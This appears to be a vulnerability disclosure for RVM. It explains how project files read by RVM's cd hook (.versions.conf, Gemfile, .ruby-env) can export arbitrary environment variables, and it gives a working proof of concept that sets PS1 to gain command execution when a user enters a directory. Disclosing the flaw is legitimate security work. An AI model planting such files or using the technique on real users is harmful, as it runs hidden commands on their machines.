RVM, by default, hooks `cd` and automatically detects the presence of certain
files in the directory being changed to. These files and their mechanics are
detailed at <https://rvm.io/workflow/projects>.
The code that parses these files is available at
<https://github.com/rvm/rvm/blob/master/scripts/functions/rvmrc_project> (look
for the `__rvm_load_project_config` function). The code, as of a vulnerable
commit, is available at
<https://github.com/rvm/rvm/blob/b04c0158d/scripts/functions/rvmrc_project#L61>.
The parsing of these files allows for the exporting of arbitrary environment
variables into the current shell. For example, to set the environment variable
`FOO` to the value `"bar"`:
* `.versions.conf` should contain the line `"env-FOO=bar"`; OR
* `Gemfile` should contain the line `"#ruby-env-FOO=bar"` (Note that the
parsing of `Gemfile` throws a notice in the user's shell); OR
* `.ruby-version`, `.rbfu-version` or `.rbenv-version` should be accompanied by
a file named `.ruby-env` which should contain the line `"FOO=bar"`
In all of the above cases, it is critical that the file also specifies a
version of Ruby that satisfies RVM. This may be a version of Ruby that the user
has installed via RVM, or it may be the magic value `"system"` to specify that
the base system's Ruby should be used. This always satisfies RVM, even when
there is no Ruby installed on the base system.
An example of setting an environment variable using `.versions.conf`:
```text
rvm@773eb63af1cc:~$ mkdir test
rvm@773eb63af1cc:~$ cat > test/.versions.conf
ruby=system
env-FOO=bar
^D
rvm@773eb63af1cc:~$ echo $FOO
rvm@773eb63af1cc:~$ cd test
rvm@773eb63af1cc:~/test$ echo $FOO
bar
```
This behaviour can be used to achieve arbitrary command execution when a user
changes into a directory with malicious contents. For example, modern shells
will automatically interpret shell metacharacters within `PS1`. Other
techniques are left as an exercise for the reader.
### POC
```text
rvm@e6aeaf6d79ec:~$ mkdir poc
rvm@e6aeaf6d79ec:~$ cat > poc/.versions.conf
ruby=system
env-PS1=\n$(echo "Command execution as $(id) via PS1")\n\n$PS1
^D
rvm@e6aeaf6d79ec:~$ cd poc
Command execution as uid=1000(rvm) gid=1000(rvm) groups=1000(rvm) via PS1
rvm@e6aeaf6d79ec:~/poc$
```
暂无评论